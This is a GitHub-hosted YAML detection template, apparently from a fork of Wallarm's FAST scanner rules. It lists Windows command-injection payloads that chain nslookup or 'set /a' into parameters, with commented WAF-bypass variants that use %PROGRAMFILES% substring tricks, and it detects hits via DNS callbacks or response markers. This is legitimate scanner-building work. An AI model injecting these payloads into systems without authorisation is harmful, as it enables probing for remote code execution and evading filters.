forked from wallarm/fast-detects
-
Notifications
You must be signed in to change notification settings - Fork 0
/
command-injection-windows.yaml
66 lines (62 loc) · 2.3 KB
/
command-injection-windows.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
generate:
- payload:
#For QUICK scan profile. DNS_MARKER & CALC_MARKER.
- "& nslookup DNS_MARKER &"
- "'& nslookup DNS_MARKER'"
- "\"& nslookup DNS_MARKER\""
- "| nslookup DNS_MARKER"
- "'| nslookup DNS_MARKER'"
- "\"| nslookup DNS_MARKER\""
- "& set /a CALC_MARKER &"
- "'& set /a CALC_MARKER'"
- "\"& set /a CALC_MARKER\""
- "| set /a CALC_MARKER"
- "'| set /a CALC_MARKER'"
- "\"| set /a CALC_MARKER\""
#For INTENSIVE scan profile. May be useful for the limited size of the parameter or WAF bypass.
# DNS_MARKER
# - "& nslookup DNS_MARKER &"
# - "&%PROGRAMFILES:~10,-5%nslookup%PROGRAMFILES:~10,-5%DNS_MARKER%PROGRAMFILES:~10,-5%&"
# - "'& nslookup DNS_MARKER'"
# - "'&%PROGRAMFILES:~10,-5%nslookup%PROGRAMFILES:~10,-5%DNS_MARKER'"
# - "\"& nslookup DNS_MARKER\""
# - "\"&%PROGRAMFILES:~10,-5%nslookup%PROGRAMFILES:~10,-5%DNS_MARKER\""
# - "| nslookup DNS_MARKER"
# - "|%PROGRAMFILES:~10,-5%nslookup%PROGRAMFILES:~10,-5%DNS_MARKER"
# - "'| nslookup DNS_MARKER'"
# - "'|%PROGRAMFILES:~10,-5%nslookup%PROGRAMFILES:~10,-5%DNS_MARKER'"
# - "\"| nslookup DNS_MARKER\""
# - "\"|%PROGRAMFILES:~10,-5%nslookup%PROGRAMFILES:~10,-5%DNS_MARKER\""
#CALC_MARKER
# - "& set /a CALC_MARKER &"
# - "&%PROGRAMFILES:~10,-5%set%PROGRAMFILES:~10,-5%/a%PROGRAMFILES:~10,-5%CALC_MARKER%PROGRAMFILES:~10,-5%&"
# - "'&set /a CALC_MARKER'"
# - "'&%PROGRAMFILES:~10,-5%set%PROGRAMFILES:~10,-5%/a%PROGRAMFILES:~10,-5%CALC_MARKER'"
# - "\"& set /a CALC_MARKER\""
# - "\"&%PROGRAMFILES:~10,-5%set%PROGRAMFILES:~10,-5%/a%PROGRAMFILES:~10,-5%CALC_MARKER\""
# - "| set /a CALC_MARKER"
# - "|%PROGRAMFILES:~10,-5%set%PROGRAMFILES:~10,-5%/a%PROGRAMFILES:~10,-5%CALC_MARKER"
# - "'| set /a CALC_MARKER'"
# - "'|%PROGRAMFILES:~10,-5%set%PROGRAMFILES:~10,-5%/a%PROGRAMFILES:~10,-5%CALC_MARKER'"
# - "\"| set /a CALC_MARKER\""
# - "\"|%PROGRAMFILES:~10,-5%set%PROGRAMFILES:~10,-5%/a%PROGRAMFILES:~10,-5%CALC_MARKER\""
- method:
- postfix
- replace
detect:
- oob:
- dns
- response:
- body: CALC_MARKER
meta-info:
- type: rce
- threat: 95
- tags:
- OS Commanding
- RCE
- Remote Code Execution
- Shell injection
- Command injection
- OWASP Top 10
- OWASP
- Windows command injection